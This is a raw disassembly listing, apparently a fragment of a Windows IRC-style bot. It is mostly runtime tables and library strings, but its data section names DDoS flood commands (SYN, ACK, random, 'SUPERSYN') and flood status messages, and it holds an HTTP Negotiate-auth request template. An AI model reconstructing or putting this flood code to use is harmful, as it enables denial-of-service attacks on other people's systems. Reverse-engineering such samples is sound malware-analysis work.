		and	eax, 1
		test	eax, eax
		jz	locret_4230E6
		mov	ecx, [ebp+8]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

locret_4230E6:				; CODE XREF: ___:004230D8j
		retn
; ---------------------------------------------------------------------------


loc_4230E7:				; DATA XREF: sub_404032o
		mov	eax, offset dword_424EE8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_4230FC:				; DATA XREF: ___:00424F44o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_423104:				; DATA XREF: sub_4041D4o
		mov	eax, offset dword_424F18
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 10h


loc_423110:				; DATA XREF: sub_40473Fo
		mov	eax, offset dword_424F48
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423122:				; DATA XREF: sub_4227EEo
		mov	eax, offset dword_424FA8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_423134:				; DATA XREF: sub_422863o
		mov	eax, offset dword_425040
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423146:				; DATA XREF: sub_4228C0o
		mov	eax, offset dword_425064
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------


loc_423158:				; DATA XREF: sub_422908o
		mov	eax, offset dword_425088
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_42316A:				; DATA XREF: sub_42298Ao
		mov	eax, offset dword_4250E8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		dd 3A3h	dup(0)
		dd 25B0000h, 25B01D9h, 25C0000h, 25C06EBh, 25D0000h, 25D0B11h
		dd 25E0000h, 25E049Dh, 25E050Ah, 25E09E6h, 25F0000h, 25F087Fh
		dd 2600000h, 2600823h, 2600AE1h
dword_42403C	dd 2600AF9h		; DATA XREF: ___:0041F496r
		dd 2600B9Eh, 2600E5Bh, 2600EC0h, 2610000h, 26102C0h, 26102D5h
dword_424058	dd 2610763h		; DATA XREF: sub_40144A+1A6r
					; sub_401D82+3Dr ...
		dd 26107DCh, 2620000h
dword_424064	dd 2620494h		; DATA XREF: sub_40797F+D1r
					; sub_40D3A5+29r
		dd 26204C9h, 2630000h
dword_424070	dd 2640000h		; DATA XREF: sub_40DC82+Fr
					; sub_4199B9+54r ...
dword_424074	dd 2650000h		; DATA XREF: sub_4168E9+Br
dword_424078	dd 26508BEh		; DATA XREF: ___:00404E30r
					; sub_40AB7C+67r ...
		dd 2660000h, 26607A6h
dword_424084	dd 2670000h		; DATA XREF: sub_40AB7C+36r
		dd 26702BDh
dword_42408C	dd 267036Ah		; DATA XREF: sub_4168E9:loc_41697Ar
		dd 26703DCh, 2680000h, 2690000h, 26A0000h
dword_4240A0	dd 26A0AE7h		; DATA XREF: sub_4165C6+32r
		dd 26B0000h, 26B0390h, 26B0459h, 26C0000h, 26C053Eh, 26D0000h
dword_4240BC	dd 26E0000h		; DATA XREF: sub_408EE5+26r
		dd 26E109Ch, 77F7E300h,	77F7E21Fh, 26E1AB6h, 26F0000h
		dd 26F07DFh
dword_4240D8	dd 2700000h		; DATA XREF: sub_409037+BCr
dword_4240DC	dd 2700665h		; DATA XREF: sub_409037+60r
					; sub_40981F+11r ...
dword_4240E0	dd 2710000h		; DATA XREF: sub_40981F:loc_409D0Fr
		dd 2710366h
dword_4240E8	dd 2720000h		; DATA XREF: sub_409209+21r
					; sub_409392+4Ar
dword_4240EC	dd 2720A72h		; DATA XREF: sub_409209+10r
					; sub_409392+40r ...
		dd 2720B0Bh
dword_4240F4	dd 2720DA2h		; DATA XREF: sub_409392+56r
		dd 2730000h, 27304F3h
dword_424100	dd 2730C00h		; DATA XREF: sub_40981F+2r
		dd 2740000h, 2750000h, 2750758h, 2760000h, 2760413h, 2770000h
		dd 2770622h, 2770B6Ah, 2780000h, 278100Fh, 27810F9h, 2790000h
		dd 27904DCh, 2790811h
dword_42413C	dd 2790D2Fh		; DATA XREF: sub_40B56C+79r
					; sub_416810+3Ar
dword_424140	dd 27A0000h		; DATA XREF: sub_40B56C+3Br
					; sub_416717+23r
		dd 27A16DFh, 27B0000h, 77E75CB5h
dword_424150	dd 27C0000h		; DATA XREF: sub_40DBB0+13r
					; ___:0041F50Br ...
		dd 27D0000h, 27D0C40h, 27D0D24h
dword_424160	dd 27E0000h		; DATA XREF: ___:loc_40E864r
		dd 27E02C5h
dword_424168	dd 27E07FEh		; DATA XREF: sub_4165C6:loc_4166B2r
		dd 27E0904h, 27E09D1h, 27E0A79h, 27F0000h, 27F05B9h, 27F0875h
		dd 27F097Ch, 2800000h, 2810000h, 2820000h, 2830000h, 2840000h
		dd 2841B89h, 2841BA7h, 2850000h, 2851015h, 285116Dh
dword_4241B0	dd 28516B7h		; DATA XREF: sub_41ADB4+240r
dword_4241B4	dd 2851801h		; DATA XREF: sub_41B888:loc_41B8B9r
		dd 28519A8h, 2860000h, 28604F5h, 2870000h, 2880000h, 288121Dh
		dd 28819ECh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
		dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h
dword_424204	dd 71AB5690h		; DATA XREF: sub_404F9A+6Ar
dword_424208	dd 71AB1AF4h		; DATA XREF: sub_4053D5+E4r
		db 90h
		db 18h,	0ABh, 71h
		dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh
		dd 71AB1746h, 2	dup(0)
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_424270	dq 1.388888888888889e-2	; DATA XREF: sub_403FE6+2Fr
dbl_424278	dq 1.666666666666667e-1	; DATA XREF: sub_403FE6+15r
dword_424280	dd 0FFFFFFFFh		; DATA XREF: sub_404032+16Fr
					; sub_404464r ...
		align 8
dbl_424288	dq 1.333333333333333	; DATA XREF: sub_404032+79r
dword_424290	dd 0			; DATA XREF: sub_4041D4+4Do
					; sub_404514+5Bo ...
flt_424294	dd 5.0e-1		; DATA XREF: ___:00404CE7r
dword_424298	dd 0			; DATA XREF: sub_40C21E+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_424698	dq 9.765625e-4		; DATA XREF: sub_40CAF1+2BDr
					; sub_40CAF1+2D8r ...
dbl_4246A0	dq -3.0517578125e-5	; DATA XREF: sub_415450+1Er
dbl_4246A8	dq 1.0			; DATA XREF: sub_417CA4+6Cr
					; sub_417DEB+6Cr ...
		dd 0FFFFFFFFh, 419CBBh,	419CCFh
byte_4246BC	db 6			; DATA XREF: sub_419E38:loc_419E8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_433C6Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_433C68o
		align 10h
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_435EBCo
		align 8
dbl_424818	dq 0.0			; DATA XREF: sub_41C2F3+8Cr
					; sub_41C2F3+ACr ...
dbl_424820	dq 4.195835e6		; DATA XREF: sub_41C808+Fr
dbl_424828	dq 3.145727e6		; DATA XREF: sub_41C808+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C846o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_41C96D+93o
		align 10h
dword_424860	dd 0FFFFFFFFh, 41D058h,	41D062h, 0 ; DATA XREF:	sub_41CFF1+5o
dword_424870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D120+5o
		dd offset loc_41D1DE
		align 10h
		dd offset sub_41D1BC
		dd offset sub_41D1C6
dword_424888	dd 0FFFFFFFFh, 41D40Eh,	41D412h, 0 ; DATA XREF:	sub_41D256+5o
dword_424898	dd 0FFFFFFFFh, 41D470h,	41D479h, 0 ; DATA XREF:	sub_41D41A+5o
dword_4248A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D4FC+5o
		dd offset loc_41D54D
		align 8
		dd offset loc_41D539
		dd offset loc_41D53D
dword_4248C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D552+5o
		dd offset loc_41D5A3
		align 10h
		dd offset loc_41D58F
		dd offset loc_41D593
dword_4248D8	dd 2 dup(0)		; DATA XREF: sub_41E709+36o
					; sub_41FB63+39o ...
dword_4248E0	dd 0FFFFFFFFh, 41E819h,	41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h
					; DATA XREF: sub_41E709+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_4362FCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o
		align 4
asc_424BA8	db 0Ah			; DATA XREF: sub_41F885+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41F885+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do
		align 8
dword_424BE8	dd 0FFFFFFFFh, 41FC5Ch,	41FC60h	; DATA XREF: sub_41FB63+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42094E+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42105F+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42105F+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4219A9:loc_421A9Eo
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4219A9+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4219A9+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4219A9+ADo
		align 4
dword_424C88	dd 0FFFFFFFFh, 4223A1h,	4223A5h, 0FFFFFFFFh, 422410h, 422414h
					; DATA XREF: sub_4221EA+5o
		dd 424DC4h
off_424CA4	dd offset loc_4227D2	; DATA XREF: sub_4227AA+8o
					; sub_4227EE+2Co ...
		dd offset sub_4227C5
		dd offset sub_4229E6
		dd offset dword_424E10
off_424CB4	dd offset sub_42283C	; DATA XREF: sub_4227EE+3Ao
					; sub_422858o ...
		dd offset sub_4227C5
		dd offset loc_422A22
dword_424CC0	dd 0			; DATA XREF: sub_4227EE+16o
					; sub_4228C0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_422863+11o
		dd offset dword_424E5C
off_424CE0	dd offset sub_42294B	; DATA XREF: sub_422967o
					; sub_42298A+37o ...
		dd offset sub_4227C5
		dd offset loc_422A04
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42298A+11o
		dd offset dword_424EA0
off_424D00	dd offset loc_422AE7	; DATA XREF: sub_422AD2o
					; ___:off_436A1Co ...
		dd offset dword_424ED0
off_424D08	dd offset loc_422B03	; DATA XREF: sub_422B1F+8o
					; sub_422B5C+8o ...
		dd offset sub_422BBC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o
		align 8
dword_424D28	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_422BC9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_424D48	dd 0FFFFFFFFh, 422D7Ah,	422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh
					; DATA XREF: sub_422C78+5o
dword_424D60	dd 0FFFFFFFFh, 422FEFh,	422FF3h, 0FFFFFFFFh, 42304Ch, 423050h
					; DATA XREF: sub_422F03+5o
		dd 436A1Ch, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_424D90	dd offset off_436A34	; DATA XREF: ___:00424DA8o
					; ___:00424DF4o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DB0	dd 3 dup(0)		; DATA XREF: ___:00424DD4o
		dd 2, 424DA8h, 3 dup(0)
		dd offset off_436A34
		dd offset dword_424DB0+4
off_424DD8	dd offset off_436A54	; DATA XREF: ___:00424DF0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424DD8
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DFC	dd 3 dup(0)		; DATA XREF: ___:00424E20o
		dd 3, 424DF0h
dword_424E10	dd 3 dup(0)		; DATA XREF: ___:00424CB0o
		dd offset off_436A54
		dd offset dword_424DFC+4
off_424E24	dd offset off_436A74	; DATA XREF: ___:00424E3Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424E24
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424E48	dd 3 dup(0)		; DATA XREF: ___:00424E6Co
		dd 3, 424E3Ch
dword_424E5C	dd 3 dup(0)		; DATA XREF: ___:00424CDCo
		dd offset off_436A74
		dd offset dword_424E48+4
off_424E70	dd offset off_436A98	; DATA XREF: ___:00424E88o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424E70
dword_424E8C	dd 3 dup(0)		; DATA XREF: ___:00424EB0o
		dd 1, 424E88h
dword_424EA0	dd 3 dup(0)		; DATA XREF: ___:00424CFCo
		dd offset off_436A98
		dd offset dword_424E8C+4
		dd offset dword_424D60+18h
dword_424EB8	dd 4 dup(0)		; DATA XREF: ___:00424EE0o
		dd 1, 424EB4h
dword_424ED0	dd 3 dup(0)		; DATA XREF: ___:00424D04o
		dd offset off_436A1C
		dd offset dword_424EB8+8
		align 8
dword_424EE8	dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF:	___:loc_4230E7o
		dd 0FFFFFFFFh, 4230D0h,	0
		dd offset sub_4230C8
dword_424F18	dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF:	___:loc_423104o
		dd 0FFFFFFFFh, 4230F4h,	0
		dd offset loc_4230FC
dword_424F48	dd 19930520h, 2, 424F68h, 1, 424F78h, 3	dup(0) ; DATA XREF: ___:loc_423110o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 424F90h, 4	dup(0)
		dd offset loc_40477E
		dd 0FFFFFFFFh, 42311Ah
dword_424FA8	dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF:	___:loc_423122o
		dd offset off_436A1C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	422B5Ch, 0
		dd offset off_436A34
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422908h, 0
		dd offset off_436A54
		align 8
		dd 0FFFFFFFFh, 0
dword_425010	dd 1Ch,	422972h, 3, 424FFCh, 424FE0h, 424FC4h ;	DATA XREF: ___:00425034o
dword_425028	dd 0			; DATA XREF: sub_422863+2Eo
					; sub_4229E6+4Bo
		dd offset sub_422858
		dd 0
		dd offset dword_425010+8
		dd 0FFFFFFFFh, 42312Ch
dword_425040	dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF:	___:loc_423134o
		dd 0FFFFFFFFh, 42313Eh
dword_425064	dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF:	___:loc_423146o
		dd 0FFFFFFFFh, 423150h
dword_425088	dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF:	___:loc_423158o
		dd offset off_436A74
		align 10h
		dd 0FFFFFFFFh, 0
dword_4250B8	dd 1Ch,	4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ;	DATA XREF: ___:004250DCo
dword_4250D0	dd 0			; DATA XREF: sub_42298A+2Eo
					; sub_4229E6+2Do
		dd offset sub_422967
		dd 0
		dd offset dword_4250B8+8
		dd 0FFFFFFFFh, 423162h
dword_4250E8	dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF:	___:loc_42316Ao
dword_425104	dd 2, 424FE0h, 424FC4h	; DATA XREF: ___:0042511Co
dword_425110	dd 0			; DATA XREF: sub_4229E6+Fo
		dd offset sub_4227AA
		dd 0
		dd offset dword_425104
		dd 5 dup(35FC1308h), 5 dup(6E77FCADh), 5 dup(22319DBDh)
		dd 7Ah dup(0)
		dd 22319DBDh, 0
		dd 35FC1308h, 12h dup(0)
		dd 6E77FCADh, 319h dup(0)
dword_426000	dd 0			; DATA XREF: ___:00419AD7o
		dd offset sub_4030CC
		dd offset sub_40482C
		dd offset sub_40484E
dword_426010	dd 0			; DATA XREF: ___:00419AD2o
dword_426014	dd 0			; DATA XREF: ___:00419AC8o
		dd offset sub_418682
		dd offset sub_41ECF1
		dd offset sub_41FA42
		dd offset dword_4208B4
dword_426028	dd 0			; DATA XREF: ___:loc_419AC3o
dword_42602C	dd 0			; DATA XREF: sub_419B07+65o
		dd offset sub_41FAE7
dword_426034	dd 0			; DATA XREF: sub_419B07:loc_419B67o
dword_426038	dd 0			; DATA XREF: sub_419B07+76o
		dd offset dword_4208B4+11h
dword_426040	dd 4 dup(0)		; DATA XREF: sub_419B07:loc_419B78o
unk_426050	db    2			; DATA XREF: sub_401000+5Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_426088	db    2			; DATA XREF: sub_4010B5+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B5:loc_4011E1o
					; sub_40EE72+268Fo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B5:loc_4011C5o
					; sub_40EE72+2678o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B5+F1o
					; sub_40EE72+2661o
		align 4
unk_4260DC	db    2			; DATA XREF: sub_40144A+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_42613C	db    2			; DATA XREF: sub_40144A+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_42619C	db    2			; DATA XREF: sub_40144A+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
unk_4261CC	db    2			; DATA XREF: sub_40144A+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_426214	db    2			; DATA XREF: sub_40144A:loc_401493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo
		align 10h
